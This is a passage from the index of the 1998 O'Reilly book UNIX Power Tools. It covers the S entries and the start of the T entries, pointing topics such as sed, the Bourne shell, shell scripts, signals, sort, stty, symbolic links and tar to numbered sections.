9.24.2. Search for Text with grep
45.11. The Multipurpose jot Command
for files
9.24. Get File List by Editing Output of ls -l, grep, etc.
14.10. Variables Help You Find Directories and Files
containing specific words : 17.21. lookfor: Which File Has that Word?
for links : 17.22. Finding the Links to a File
manual pages
50.2. The apropos Command
50.3. apropos on Systems Without apropos
by owner/group : 17.16. Searching by Owner and Group
by permissions
17.10. Running Commands on What You Find
17.15. Searching for Files by Permission
permissions for : (see execute permissions)
by size : 17.14. Searching for Files by Size
text files : 16.26. Finding Text Files with findtext
by type : 17.13. Searching for Files by Type
for unconnected symbolic links : 16.28. oldlinks: Find Unconnected Symbolic Links
secondary prompts : 9.13. Multiline Commands, Secondary Prompts
security
circumventing write access : 22.11. A Loophole: Modifying Files Without Write Access
clear command and : 22.18. Clear Your Terminal for Security, to Stop Burn-in
encryption : (see encryption)
encryption for : (see encryption)
permissions : (see permissions)
rm command and : 23.2. rm and Its Dangers
sed editor
2.12. Automatic Setups for Different Terminals
34.1. Two Things You Must Know About sed
43.21. Preprocessing troff Input with sed
addressing : 34.4. sed Addressing Basics
addup script using : 49.7. Total a Column with addup
branch command
34.19. Making Edits Everywhere Except...
34.24.3. Alphabetical Summary of sed Commands
C shell and quoting : 34.23. sed Newlines, Quoting, and Backslashes in a Shell Script
checksed script : 34.3.1. checksed
command line : 34.2. Invoking sed
command list : 34.24. Quick Reference: sed
delimiter characters : 34.7. Delimiting a Regular Expression
delimiters : 45.35. Using a Control Character in a Script
-e option : 48.2. Online Phone and Address Lists
edit non-matching lines : 34.19. Making Edits Everywhere Except...
editing scripts : 1.6. Power Tools for Editing
eval combined with : 45.30.4. Using sed
example expressions : 51.3. ASCII Characters: Listing and Getting Values
example scripts : 44.14. Putting awk, sed, etc., Inside Shell Scripts
examples
45.30.4. Using sed
48.2. Online Phone and Address Lists
50.3. apropos on Systems Without apropos
executing files using commands
d : 45.5. A File That Shows Itself... and What #! Does
-f option : 45.3. Don't Need a Shell for Your Script? Don't Use One
fixing PATH : 4.10. Find All Command Versions with whereiz
hold space : 34.13. Hold Space: The Set-Aside Buffer
multiline delete : 34.18. Multiline Delete
multiple matches on a line : 34.11. Search & Replacement: One Match Among Many
-n option : 45.30.4. Using sed
next command : 34.24.3. Alphabetical Summary of sed Commands
Next command : 34.15. Making Edits Across Line Boundaries
order dependency : 34.5. Order of Commands in a Script
organizing scripts : 4.3. Organizing Nonexecutable Scripts
parsing using : 45.30.4. Using sed
pattern space
34.13. Hold Space: The Set-Aside Buffer
34.15. Making Edits Across Line Boundaries
patterns split across lines : 34.17. Searching for Patterns Split Across Lines
quit command
34.21. Uses of the sed Quit Command
34.24.3. Alphabetical Summary of sed Commands
quoting control characters : 34.8. Newlines in a sed Replacement
referenced matched string : 34.9. Referencing the Search String in a Replacement
runsed script : 34.3.2. runsed
substitution commands : 45.35. Using a Control Character in a Script
test command : 34.20. The sed Test Command
transform command
34.12. Transformations on Text
34.14. Transforming Part of a Line
34.24.3. Alphabetical Summary of sed Commands
sedman script : 52.4. Quick Descriptions of What's on the Disc
"segmentation fault (core dumped)" error message : 50.12. Common UNIX Error Messages
segmentation violation message : 38.8. What Are Signals?
segmentation violation signal : (see SEGV signal)
SEGV (segmentation violation) signal : 38.8. What Are Signals?
self-restarting jobs : 40.8. Automatically Restarting at Jobs
semicolon : (see )
serial line : 42.1. Making Sense Out of the Terminal Mess
serial line driver : 42.1. Making Sense Out of the Terminal Mess
serial line modes : 5.7. What termcap and terminfo Do and Don't Control
sessions, detaching : 3.7. Detaching a Session with screen
set command
6.8. Shell Variables
14.10. Variables Help You Find Directories and Files
44.19. The Bourne Shell set Command
arguments to : 44.19. The Bourne Shell set Command
-e option : 46.6. Watch Out for Bourne Shell -e Bug
examples
44.18. Standard Command-Line Parsing
44.19. The Bourne Shell set Command
45.17. Making a for Loop with Multiple Variables
45.36. Shell Lockfile
48.7. cal That Marks Today's Date
listing variables : 6.1. What Environment Variables Are Good For
parsing using : 45.30.3. Using set
quoting : 44.19. The Bourne Shell set Command
variables
IFS : 45.30.3. Using set
wildcards : 44.19. The Bourne Shell set Command
-xv option : 46.1.1. Use -xv
set directory command : 30.35. Out of Temporary Space? Use Another Directory
set echo command : 2.16. Approved Shells: Using Unapproved Login Shell
set noglob command : 5.4. Setting the TERMCAP Variable with tset
set nonomatch command : 3.4. Automatic File Cleanup
set prompt test
2.5.1. Quick Login
2.9. Speeding Up Your C Shell with set prompt Test
set verbose echo command : 40.4. Choosing the Shell Run (We Hope) by at
setgid bit : 22.5. Group Permissions in a Directory with the setgid Bit
setprompt alias : 7.11. dirs in Your Prompt: Better than $cwd
setup alias : 2.5.2. A Second Alias and Command File
setup files : (see configuration files)
storing information : 47.5. Using C Shell Arrays
SGID (set group ID) bit
1.23. File Access Permissions
1.25. Access to Directories
sh (Bourne shell)
1.8. There Are Many Shells
1.33. UNIX Networking and Communications
38.3. Managing Processes: Overall Concepts
44.3.3. Types of Shells
(see also rsh utility)
{ } filename wildcards, adding : 15.3. Adding { } Operators to Korn (and Bourne) Shells
advantages : 44.3.3. Types of Shells
aliases : 10.9. Shell Functions
arrays in : 45.34. Arrays in the Bourne Shell
background processing
1.27. How Background Processing Works
1.28. Some Gotchas with Background Processing
C shell compared to
44.3.3. Types of Shells
47.1. Why Not?
47.2. C Shell Programming Considered Harmful
case statements
2.12. Automatic Setups for Different Terminals
44.5. Test String Values with Bourne Shell case
command lines as scripts : 44.2. Writing a Simple Shell Program
command-line arguments in scripts : 44.15. Handling Command-Line Arguments in Shell Scripts
comments in scripts
44.2. Writing a Simple Shell Program
45.9. The Unappreciated Bourne Shell ":" Operator
conditional expressions : 44.8. Test Exit Status with the if Statement
creating empty file : 21.7. Setting File Modification Time with touch
date formats : 7.12. External Commands Send Signals to Set Variables
debugging scripts
44.8. Test Exit Status with the if Statement
46.1. Tips for Debugging Shell Scripts
defining variables : 6.8. Shell Variables
-e option : 46.6. Watch Out for Bourne Shell -e Bug
ending scripts : 44.11. Set Exit Status of a Shell (Script)
environment variables
6.3. Predefined Environment Variables
47.2.5. Variable Syntax
example scripts
44.2. Writing a Simple Shell Program
44.3.5. Bourne Shell Used Here
44.4. Testing How Your System Executes Files
44.5. Test String Values with Bourne Shell case
44.7. Exit Status of UNIX Processes
44.8. Test Exit Status with the if Statement
44.9. Testing Your Success
44.10.1. Looping Until a Command Succeeds
44.11. Set Exit Status of a Shell (Script)
executing scripts : 44.4. Testing How Your System Executes Files
executing scripts via : 40.4. Choosing the Shell Run (We Hope) by at
features : 44.3.5. Bourne Shell Used Here
for loop : 9.12. The Bourne Shell for Loop
grouping commands : 13.8. Using {list} to Group Bourne Shell Commands
hangups in : 38.18. nohup
if statements : 44.8. Test Exit Status with the if Statement
ignoreeof variable : 3.5. Stop Accidental C Shell Logouts
interrupted : 45.8. Handling Signals to Child Processes
jot command used in : 45.11. The Multipurpose jot Command
logging out of : 3.2. Running Commands at Bourne/Korn Shell Logout
loops in : 44.10. Loops That Test Exit Status
mail notification : 21.8.2. For Bourne Shell Users
multiline commands : 9.13. Multiline Commands, Secondary Prompts
number crunching in : 45.11. The Multipurpose jot Command
overriding environment variables : 6.10. Running a Command with a Temporarily Different Environment
path names in scripts : 44.2. Writing a Simple Shell Program
pipelines in : 47.2.1.4. More Elaborate Combinations
.profile file : 2.2.1. Bourne Shell
quoting in : 47.2.4. Quoting
quoting in : 8.14. Bourne Shell Quoting
random number generators : 45.11. The Multipurpose jot Command
reading .profile file : 5.6. Checklist: Terminal Hangs When I Log In
reading arguments : 8.13. Is It "2>&1 file" or "> file 2>&1"? Why?
redirecting input/output
13.1. Using Standard Input and Output
13.3. Send (only) Standard Error Down a Pipe
replacing with C shells
45.6. Making Sure Your Script Runs with Bourne Shell, Without #!
45.7. The exec Command
running scripts in
44.3.5. Bourne Shell Used Here
45.6. Making Sure Your Script Runs with Bourne Shell, Without #!
script file extension : 1.17. Filename Extensions
scripts, in general : 44.2. Writing a Simple Shell Program
simulated functions and aliases : 10.10. Simulated Bourne Shell Functions and Aliases
special characters/operators in : 8.19. "Special" Characters and Operators
standard input : 47.2.1.2. Reading Files
standard output : 47.2.1.4. More Elaborate Combinations
string editing operators : 45.12. Parameter Substitution
trap command : 7.12. External Commands Send Signals to Set Variables
trapping signals : 47.2.3. Signals
tset command : 5.3. Setting the Terminal Type When You Log In
-v option : 6.9. Special C Shell Variables
variable syntax : 47.2.5. Variable Syntax
variable tracing : 8.17. verbose and echo Variables Show Quoting
-x option : 6.9. Special C Shell Variables
sh command name : 42.2.5. Aborting Programs
.sh filename extension : 1.17. Filename Extensions
.sh_logout file : 3.6. Stop Accidental Bourne Shell Logouts
SH_EXECD environment variable : 2.16. Approved Shells: Using Unapproved Login Shell
sh_init : 52.4. Quick Descriptions of What's on the Disc
on PowerTools disk : 50.8. Which Version Am I Using?
sh_logout : 52.4. Quick Descriptions of What's on the Disc
shar archives : 52.8.2.4. Unsharring the Sources
.shar filename extension : 1.17. Filename Extensions
shar files : 19.2. Introduction to Shell Archives
uuencoded : 11.3. My Favorite Is !$
shar program
19.2. Introduction to Shell Archives
52.4. Quick Descriptions of What's on the Disc
shareable files : 52.5.3.1. Directory Structure
SHAREPREFIX, CD-ROM : 52.8.1. Running the Build Scripts
she (Bourne shell)
accidental logouts : 3.6. Stop Accidental Bourne Shell Logouts
shebang : (see #! notation)
shell archives
19.2. Introduction to Shell Archives
19.4. A Simple Version of unshar
filename extension : 1.17. Filename Extensions
with GNU tar : 19.6. GNU tar Sampler
SHELL environment variable : 6.3. Predefined Environment Variables
shell escapes : 30.26. Shell Escapes: Running One UNIX Command While Using Another
starting a subshell : 38.4. Subshells
shell functions : 10.9. Shell Functions
simulated : 10.10. Simulated Bourne Shell Functions and Aliases
shell metacharacters : (see wildcards)
shell parameters, with simulated functions : 10.10. Simulated Bourne Shell Functions and Aliases
shell prompts
backspacing over : 41.5. Why Some Systems Backspace over Prompts
PS1, PS2 variables : 6.3. Predefined Environment Variables
setting : 7.1. Why Change Your Prompt?
typing commands at : 38.3. Managing Processes: Overall Concepts
shell scripts
1.12. What Makes a Shell Script?
38.4. Subshells
44.1. Everyone Should Learn Some Shell Programming
44.3.2. Interactive Use vs. Shell Scripts
arguments passed to : 1.5. Anyone Can Program the Shell
commenting
44.14. Putting awk, sed, etc., Inside Shell Scripts
45.2. The Story of : # #!
control characters in : 45.35. Using a Control Character in a Script
directories : 1.10. Internal and External Commands
on enclosed CD-ROM : 52.1. Introduction
-f option
45.2. The Story of : # #!
45.3. Don't Need a Shell for Your Script? Don't Use One
highlighting prompts issued by : 41.10. Using terminfo Capabilities in Shell Programs
interrupted : 44.12. Trapping Exits Caused by Interrupts
naming : 44.21. Picking a Name for a New Command
nonexecutable : 4.3. Organizing Nonexecutable Scripts
permissions
22.19. Shell Scripts Must be Readable and (Usually) Executable
44.2. Writing a Simple Shell Program
reading files line-by-line : 45.22. Handling Files Line-by-Line
reading from standard input
45.24. A Shell Can Read a Script from its Standard Input, But...
45.25. Shell Scripts On-the-Fly from Standard Input
running
45.2. The Story of : # #!
45.3. Don't Need a Shell for Your Script? Don't Use One
45.6. Making Sure Your Script Runs with Bourne Shell, Without #!
running as a daemon : 38.11. Printer Queue Watcher: A Restartable Daemon Shell Script
self-printing : 45.4. Fun with #!
self-removing
45.4. Fun with #!
45.10. Removing a File Once It's Opened - for Security and Easy Cleanup
self-renaming : 45.4. Fun with #!
sourceable : 10.5. Sourceable Scripts
sourcing : 44.23. Reading Files with the . and source Commands
submitting for execution at a later time : 40.3. The at Command
terminfo capabilities in : 41.10. Using terminfo Capabilities in Shell Programs
throwaway : 9.15. Throwaway Scripts for Complicated Commands
variables set by : 46.3. Bourne Shell Debugger Shows a Shell Variable
without using shell : 45.2. The Story of : # #!
-xv option : 46.1.1. Use -xv
shell variables
14.10. Variables Help You Find Directories and Files
46.7. Quoting and Command-Line Parameters
(see also environment variables; variables; under specific variable name)
editing : 9.7. String Editing in ksh and bash
eval command and
8.10. eval: When You Need Another Chance
10.10. Simulated Bourne Shell Functions and Aliases
iterating over arguments : 46.7. Quoting and Command-Line Parameters
setting : 6.8. Shell Variables
shell wildcards : (see wildcards)
shell wrappers : 34.3. Testing and Using a sed Script: checksed, runsed
shells
1.2. Who Listens to What You Type?
11.13. Shell Command-Line Editing
44.3. What's a Shell, Anyway?
44.3.3. Types of Shells
(see also command interpreters; command line)
(see also under specific shell name)
approved : 2.16. Approved Shells: Using Unapproved Login Shell
as controlling process : 38.3. Managing Processes: Overall Concepts
curly braces in
1.16. Wildcards
1.18. Who Handles Wildcards?
customizing : 2.1. Customizing the Shell
executing external commands : 1.11. How the Shell Executes Other Commands
giving absolute pathnames to : 45.5. A File That Shows Itself... and What #! Does
interpreting commands : 8.1. What the Shell Does
invoking : 45.5. A File That Shows Itself... and What #! Does
login shells : 51.9. Making a "Login" Shell
multiple shell sessions : 12.9. Running Multiple Shell Sessions with screen
passing command history to : 11.12. Pass History to Another Shell
programming : 1.5. Anyone Can Program the Shell
reading scripts
45.24. A Shell Can Read a Script from its Standard Input, But...
45.25. Shell Scripts On-the-Fly from Standard Input
running : 1.9. Which Shell Am I Running?
running programs without : 45.3. Don't Need a Shell for Your Script? Don't Use One
selecting : 1.8. There Are Many Shells
starting a subshell from : 38.4. Subshells
syntax : 13.1. Using Standard Input and Output
temporary files : 21.3. Unique Names for Temporary Files
tokens : (see tokens)
types of : 44.3.3. Types of Shells
understanding # as comment : 45.3. Don't Need a Shell for Your Script? Don't Use One
-v option : 45.25. Shell Scripts On-the-Fly from Standard Input
variants of : 38.3. Managing Processes: Overall Concepts
shells file : 2.16. Approved Shells: Using Unapproved Login Shell
shellutils : 52.4. Quick Descriptions of What's on the Disc
shift command
44.17. Handling Arguments with while and shift
45.15. How to Unset all Command-Line Parameters
examples
44.17. Handling Arguments with while and shift
45.15. How to Unset all Command-Line Parameters
handling command-line arguments : 44.17. Handling Arguments with while and shift
in Bourne shell : 47.5. Using C Shell Arrays
in C shells : 47.5. Using C Shell Arrays
in while loops : 44.17. Handling Arguments with while and shift
removing command-line arguments : 44.15.2. With a Loop
unsetting command line parameters : 45.15. How to Unset all Command-Line Parameters
SHLVL environment variable : 7.9. Show Subshell Level with $SHLVL
showmatch script
26.6. Just What Does a Regular Expression Match?
52.4. Quick Descriptions of What's on the Disc
shrink-wrapped software for UNIX : 52.3. Shrink-Wrapped Software for UNIX
shutdown program : 1.14. The Kernel and Daemons
Sierra, Mike : 7.5. Multiline Shell Prompts
signal handling : 38.8. What Are Signals?
in Bourne shells : 45.8. Handling Signals to Child Processes
of subprocesses : 45.8. Handling Signals to Child Processes
signal names/numbers for trap command : 44.12. Trapping Exits Caused by Interrupts
signals, interprocess communication : 38.8. What Are Signals?
signals, trapping : 47.2.3. Signals
SIGWINCH (window changed) signal : 42.5. Checklist: Screen Size Messed Up?
sin command (awk) : 33.11.7. Alphabetical Summary of Commands
sine function : 49.4. bc's Sine and Cosine Are in Radians
single quotes : (see ')
size, file
16.25. Listing Files by Age and Size
24.5. Limiting File Sizes
(see file size)
limits for : 51.11. Making an Arbitrary-Size File for Testing
searching by : 17.14. Searching for Files by Size
sl script
18.8. Showing the Actual Filenames for Symbolic Links
21.8.1.3. Watching Directories
52.4. Quick Descriptions of What's on the Disc
slash : (see /)
sleep command
3.1. Running Commands When You Log Out
9.19. For the Impatient: Type-Ahead
40.1. Off-Peak Job Submission
52.4. Quick Descriptions of What's on the Disc
in C shell : 47.2.2.1. Built-Ins
examples
45.8. Handling Signals to Child Processes
47.2.2.1. Built-Ins
keeping port settings : 41.6. Using sleep to Keep Port Settings
in leave program : 48.5. leave: A Maddening Aid to Quitting on Time
uses of : 40.2. Waiting a Little While: sleep
sls program
16.29. sls: Super ls with Format You Can Choose
52.4. Quick Descriptions of What's on the Disc
smart echoing : 41.5. Why Some Systems Backspace over Prompts
smiley program : 52.4. Quick Descriptions of What's on the Disc
smileys : 51.12. You Don't Have Enough Smileys?
soft disk quota limits : 24.17. Disk Quotas
soft links : (see symbolic links)
soft mounting of NFS : 5.6. Checklist: Terminal Hangs When I Log In
software
on enclosed CD-ROM
52.1. Introduction
52.6. Don't Have a CD-ROM Drive?
installation programs : 52.5.3. Installing Pre-Compiled Binaries
source code
52.7. Other Ways to Get the Software
52.8. Building Programs from Source Code
sort command : 36.2. Sort Fields: How sort Sorts
alphabetic vs. numeric : 36.5. Alphabetic and Numeric Sorting
case-insensitive sorts : 36.6.2. Ignoring Blanks
dictionary order : 36.6.3. Case-Insensitive Sorts
fields : 36.2. Sort Fields: How sort Sorts
ignoring blanks : 36.6.1. Dealing with Repeated Lines
month order : 36.6.4. Dictionary Order
reverse sort : 36.6.5. Month Order
unique parameter : 36.6.1. Dealing with Repeated Lines
sorting
by last name : 36.9. Sorting a List of People by Last Name
lines by length : 36.8. lensort: Sort Lines by Length
multiline entries : 36.7. Sorting Multiline Entries
Source Code Control System : (see SCCS)
source command
in C shell : 47.2.2.1. Built-Ins
redirecting : 47.2.2.1. Built-Ins
source command (ex) : 33.4. Useful ex Commands
sourceable scripts : 10.5. Sourceable Scripts
SOURCEDIR, CD-ROM : 52.8.1. Running the Build Scripts
sourcing shell scripts : 44.23. Reading Files with the . and source Commands
in C shell : 47.2.2.1. Built-Ins
space characters : (see whitespace)
sparse files : 24.18. Huge Files Might Not Take a Lot of Disk Space
spaste program : 52.4. Quick Descriptions of What's on the Disc
spawning processes : 38.2. fork and exec
special characters
21.14. Automatically Appending the Date to a Filename
(see also pattern matching; wildcards)
in Bourne shell (sh) : 8.14.1. Special Characters
cat command for viewing : 25.6. What's in That White Space?
escape : 51.3. ASCII Characters: Listing and Getting Values
in filenames : 1.15. Filenames
filenames with
8.16. Quoting Handles Special Characters in Filenames
16.14. Showing Non-Printable Characters in Filenames
23.11. Deleting Files with Odd Names
special keys, characters sent by : 41.12. Finding Out What Characters Your Terminal's Special Keys Send
speed : (see performance)
@speed, <speed, >speed calculations : 5.3. Setting the Terminal Type When You Log In
spell checking
27.18. Fast Searches and Spelling Checks with "look"
29.1. The UNIX spell Command
ispell program : 29.2. Check Spelling Interactively with ispell
spell command
29.1. The UNIX spell Command
29.3. How Do I Spell That Word?
(see also ispell program)
-v option : 29.4. Inside spell
-x option : 29.4. Inside spell
spellhist file : 29.4. Inside spell
spellprog program : 29.4. Inside spell
split command (awk) : 33.11.7. Alphabetical Summary of Commands
split command, loops using : 45.18.2. Use with Loops
split program : 35.9. Splitting Files at Fixed Points: split
Spool was an acronym - Simultaneous Printing Off and On Line. : 43.1. Introduction to Printing
spooling system : 43.1. Introduction to Printing
symbolic links : 43.5. Using Symbolic Links for Spooling
spreadsheets, calculators vs. : 49.8. It's Great to Have a Spreadsheet
sprintf command (awk) : 33.11.7. Alphabetical Summary of Commands
sqrt command (awk) : 33.11.7. Alphabetical Summary of Commands
squoze script : 52.4. Quick Descriptions of What's on the Disc
srand command (awk) : 33.11.7. Alphabetical Summary of Commands
stack, directory : 14.6. The Shells' pushd and popd Commands
stale symbolic links : 18.5. Creating and Removing Links
stalled data connections : 42.2.4. Stalled Data Connection?
standard error
13.3. Send (only) Standard Error Down a Pipe
44.9. Testing Your Success
45.20. Overview: Open Files and File Descriptors
(see also debugging; errors)
piping to pager : 46.1.1. Use -xv
redirecting
45.20. Overview: Open Files and File Descriptors
45.21. n>&m: Swap Standard Output and Standard Error
47.2.1.1. Writing Files
standard I/O facility : 13.1. Using Standard Input and Output
standard input
13.1. Using Standard Input and Output
13.13. The "Filename" -
45.20. Overview: Open Files and File Descriptors
in C shell : 47.2.1.2. Reading Files
in Bourne shell : 47.2.1.2. Reading Files
including directly on cron command line : 40.14. Including Standard Input Within a cron Entry
reading scripts from
45.24. A Shell Can Read a Script from its Standard Input, But...
45.25. Shell Scripts On-the-Fly from Standard Input
redirecting
45.20. Overview: Open Files and File Descriptors
47.2.1.2. Reading Files
standard output
45.20. Overview: Open Files and File Descriptors
46.1.1. Use -xv
(see also debugging output)
in Bourne shell : 47.2.1.4. More Elaborate Combinations
in C shell : 47.2.1.4. More Elaborate Combinations
debugging : 46.1.1. Use -xv
redirecting
45.20. Overview: Open Files and File Descriptors
45.21. n>&m: Swap Standard Output and Standard Error
46.1.1. Use -xv
redirecting with tpipe : 13.11. tpipe-Redirecting stdout to More than One Place
stat program
1.22. How UNIX Keeps Track of Files: Inodes
21.13. Read an Inode with stat
52.4. Quick Descriptions of What's on the Disc
state, job : 12.6. Notification When Jobs Change State
status command (lpc) : 43.3. Printer Control with lpc
status shell varible : 6.9. Special C Shell Variables
status variable
44.8. Test Exit Status with the if Statement
(see also exit status)
stderr : (see standard error)
stdin : (see standard input)
stdout : (see standard output)
stem-derivative rule : 29.4. Inside spell
sticky bit
1.23. File Access Permissions
1.25. Access to Directories
22.6. Protecting Files with the Sticky Bit
stop command : 12.5. System Overloaded? Try Stopping Some Jobs
stop list, spelling : 29.4. Inside spell
STOP signal : 38.8. What Are Signals?
stream editor : (see sed editor)
stree script
16.19. stree: Simple Directory Tree
52.4. Quick Descriptions of What's on the Disc
string capabilities : 41.11. How termcap and terminfo Describe Terminals
strings
editing
csh : 9.6. String Editing (Colon) Operators
ksh and bash : 9.7. String Editing in ksh and bash
editing operators : (see operators, string editing)
strip command : 24.13. Save Space in Executable Files with strip
stripper script
24.13. Save Space in Executable Files with strip
52.4. Quick Descriptions of What's on the Disc
stty command
5.9. Setting Your Erase, Kill, and Interrupt Characters
41.1. Delving a Little Deeper
41.2.1. How We Made It This Far (Back?)
52.4. Quick Descriptions of What's on the Disc
changing communication parameters on the fly : 42.1. Making Sense Out of the Terminal Mess
finding out terminal settings with : 41.3. Find Out Terminal Settings with stty
stty -a command : 42.5. Checklist: Screen Size Messed Up?
stty -g command : 42.4. Checklist for Resetting a Messed Up Terminal
stty cbreak command : 41.7. Reading Verrrry Long Lines from the Terminal
stty icanon command : 41.7. Reading Verrrry Long Lines from the Terminal
stty nostop command : 12.7. Stop Background Output with stty tostop
stty size command : 42.5. Checklist: Screen Size Messed Up?
stty size command : 42.5. Checklist: Screen Size Messed Up?
su command
2.4. Tip for Changing Account Setup: Keep a Shell Ready
22.22. The su Command Isn't Just for the Superuser
52.4. Quick Descriptions of What's on the Disc
starting a subshell : 38.4. Subshells
su stucklogin : 5.6. Checklist: Terminal Hangs When I Log In
sub command (awk) : 33.11.7. Alphabetical Summary of Commands
subdirectories : (see directories)
subprocess : (see child processes)
subroutines, dot (.) command compared to : 44.23. Reading Files with the . and source Commands
subshell operators
2.2. Shell Setup Files-Which, Where, and Why
13.10. How to tee Several Commands Into One File
subshells : 38.4. Subshells
( ) operators for : 13.7. The () Subshell Operators
levels : 7.9. Show Subshell Level with $SHLVL
redirected loops running in : 45.23. The Ins and Outs of Redirected I/O Loops
running : 46.6. Watch Out for Bourne Shell -e Bug
setting command-line parameters : 44.19. The Bourne Shell set Command
starting : 2.16. Approved Shells: Using Unapproved Login Shell
su command and : (see su command)
substitute command (ex) : 33.4. Useful ex Commands
substitute command (sed)
script.tidy using : 51.6. Cleaning script Files
substr command (awk) : 33.11.7. Alphabetical Summary of Commands
SUID (set user ID) bit
1.23. File Access Permissions
1.25. Access to Directories
SunExpert magazine, article on awk : 44.14. Putting awk, sed, etc., Inside Shell Scripts
superuser : (see root user)
susp key : 5.9. Setting Your Erase, Kill, and Interrupt Characters
suspend command : 38.4. Subshells
swap space, errors caused by lack of : 50.12. Common UNIX Error Messages
swapon command : 50.12. Common UNIX Error Messages
swapping : 39.12.2. The Memory Subsystem
"swaps" : 39.3. The csh time variable
switch statements : 47.6. Quick Reference: C Shell switch Statement
examples : 47.6. Quick Reference: C Shell switch Statement
if statemtents compared to : 47.6. Quick Reference: C Shell switch Statement
in C shells : 47.6. Quick Reference: C Shell switch Statement
symbolic links
14.13. Which Directory Am I in, Really?
18.4. More About Links
24.4. Save Space with a Link
advantages : 18.3. Files with Two or More Names
between directories : 18.7. Linking Directories
copying : 18.15. Copying Directory Trees with cp -r
disk space and : 14.14. Automatic Setup When You Enter/Exit a Directory
filenames for : 18.8. Showing the Actual Filenames for Symbolic Links
finding : 17.13. Searching for Files by Type
finding unconnected : 16.28. oldlinks: Find Unconnected Symbolic Links
relinking : 18.14. Relinking Multiple Symbolic Links
stale : 18.5. Creating and Removing Links
symbols
44.15.1. With the $@"
(see also under specific symbol names)
in filenames and pathnames : 44.15.1. With the $@"
terms for : 51.8. Type Bang Splat. Don't Forget the Rabbit Ears
sync program : 1.14. The Kernel and Daemons
"Syntax error" error message : 46.4. Stop Syntax Errors in Numeric Tests
system
commands, replacing : 8.7.1. Setting Path in Shell Setup Files
load, checking : 39.7. Checking System Load: uptime
overloaded : 12.5. System Overloaded? Try Stopping Some Jobs
password file contents : 1.9. Which Shell Am I Running?
performance issues : 39.12. What Makes Your Computer Slow? How Do You Fix It?
resources, fundamental : 39.12. What Makes Your Computer Slow? How Do You Fix It?
system time
39.2. Timing Programs
39.5. Why Is the System So Slow?
system-state CPU time : 39.5. Why Is the System So Slow?
variables (awk) : 33.11.3. awk System Variables
system command (awk) : 33.11.7. Alphabetical Summary of Commands
System V UNIX
alternatives for : 50.8. Which Version Am I Using?
C shell nice command : 39.9.3. System V C Shell nice
manual page categories : 50.1. UNIX Online Documentation
printing commands : 43.2.1. System V Printing Commands
standalone nice command : 39.9.4. System V Standalone nice
tape archiver (cpio) : 19.9. A System V Tape Archiver: cpio
which command : 50.8. Which Version Am I Using?

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Copyright © 1998 O'Reilly & Associates, Inc. All Rights Reserved.

The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Index

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Index: T

TAB characters
25.13. pushin: Squeeze Out Extra White Space
31.5. Keymaps for Pasting into a Window Running vi
41.2.3. What About TABs?
41.4. How UNIX Handles TAB Characters
41.4.1. TAB Is Just Another Character to UNIX
(see also whitespace)
converting into spaces : 41.4.1. TAB Is Just Another Character to UNIX
diff command and : 28.10. Problems with diff and Tabstops
disk space and : 24.6. Save Space with Tab Characters
expanding : 41.2.3. What About TABs?
removing : 43.19. Removing Leading Tabs and Other Trivia
stripping : 8.18. Here Documents
telling UNIX to expand : 41.4.2. Telling UNIX to Expand TABs
tab delays : 41.2.3. What About TABs?
TAB key, file completion and : 9.9. Don't Match Useless Files in Filename Completion
tables : 43.12.1. troff
tabstops
making files with non-standard : 41.4.1. TAB Is Just Another Character to UNIX
setting : 41.2.3. What About TABs?
tags files : 30.28. Keep Track of Functions and Included Files with ctags and tags
tags in time variable format string : 39.3. The csh time variable
tail command
13.9. Send Output Two or More Places with tee
25.14. How to Look at the End of a File: tail
-c option : 25.15. Finer Control on tail
-f option
25.16. How to Look at a File as It Grows
46.1.1. Use -xv
-n option : 25.15. Finer Control on tail
-r option : 25.15. Finer Control on tail
Talbott, Steve : 52.8.2.8. The make Program
talk utility : 1.33. UNIX Networking and Communications
tape drives
20.5. Using tar to a Remote Tape Drive
20.6. Writing a Tape Drive on a Remote Machine
tar archives
19.5. Using tar to Create and Unpack Archives
19.6. GNU tar Sampler
20.1. tar in a Nutshell
52.8.2.4. Unsharring the Sources
excluding/including files in : 20.8. Telling tar Which Files to Exclude or Include
filename extension : 1.17. Filename Extensions
unpacking : 11.3. My Favorite Is !$
tar command
20.1. tar in a Nutshell
20.11. Getting tar's Arguments in the Right Order
24.8. Save Space: tar and compress a Directory Tree
52.4. Quick Descriptions of What's on the Disc
-B option : 18.16. Copying Directory Trees with (tar | tar)
-C option
20.8.1. Including Other Directories
20.10. Avoid Absolute Paths with tar
copying directory trees : 18.16. Copying Directory Trees with (tar | tar)
-f option : 19.7. Extracting Files from a Compressed Archive
-F option : 20.8. Telling tar Which Files to Exclude or Include
-FF option : 20.8. Telling tar Which Files to Exclude or Include
-I option : 20.8. Telling tar Which Files to Exclude or Include
-o option : 19.7. Extracting Files from a Compressed Archive
retoring files from tape : 20.4. Restoring Files from Tape with tar
-t option
20.3.1. Syntax of the tar Command
20.4.1. Restoring a Few Files
-v option
18.16. Copying Directory Trees with (tar | tar)
19.8. Problems with Verbose tar
20.3.1. Syntax of the tar Command
without wildcards : 20.9. When a Program Doesn't Understand Wildcards
-x option : 20.3.1. Syntax of the tar Command
-X option : 20.8. Telling tar Which Files to Exclude or Include
.tar filename extension : 1.17. Filename Extensions
tar script (GNU) : 19.6. GNU tar Sampler
tar suffix : 52.8.2.3. Untarring the Sources
tbl, as alternative to awk : 48.12. Using index with a Filter
tc program : 52.4. Quick Descriptions of What's on the Disc
tcap program
41.10. Using terminfo Capabilities in Shell Programs
52.4. Quick Descriptions of What's on the Disc
Tcl : 52.4. Quick Descriptions of What's on the Disc
Tcl-based applications : 9.26. Expect
tcsh shell
1.8. There Are Many Shells
2.2.5. tcsh
8.3. Introduction to tcsh
52.4. Quick Descriptions of What's on the Disc
highlighting in : 7.8. Highlighting in Shell Prompts
history editing : 11.14. More Ways to Do Interactive History Editing
prompt setting
7.4. Faster Prompt Setting with Built-Ins
7.9. Show Subshell Level with $SHLVL
tee command : 52.4. Quick Descriptions of What's on the Disc
-a option : 13.10. How to tee Several Commands Into One File
saving output to files : 46.1.1. Use -xv
tee program : 13.9. Send Output Two or More Places with tee
teletypes : 41.2.1. How We Made It This Far (Back?)
peculiarities of : 41.2.1. How We Made It This Far (Back?)
telnet utility
1.33. UNIX Networking and Communications
2.4. Tip for Changing Account Setup: Keep a Shell Ready
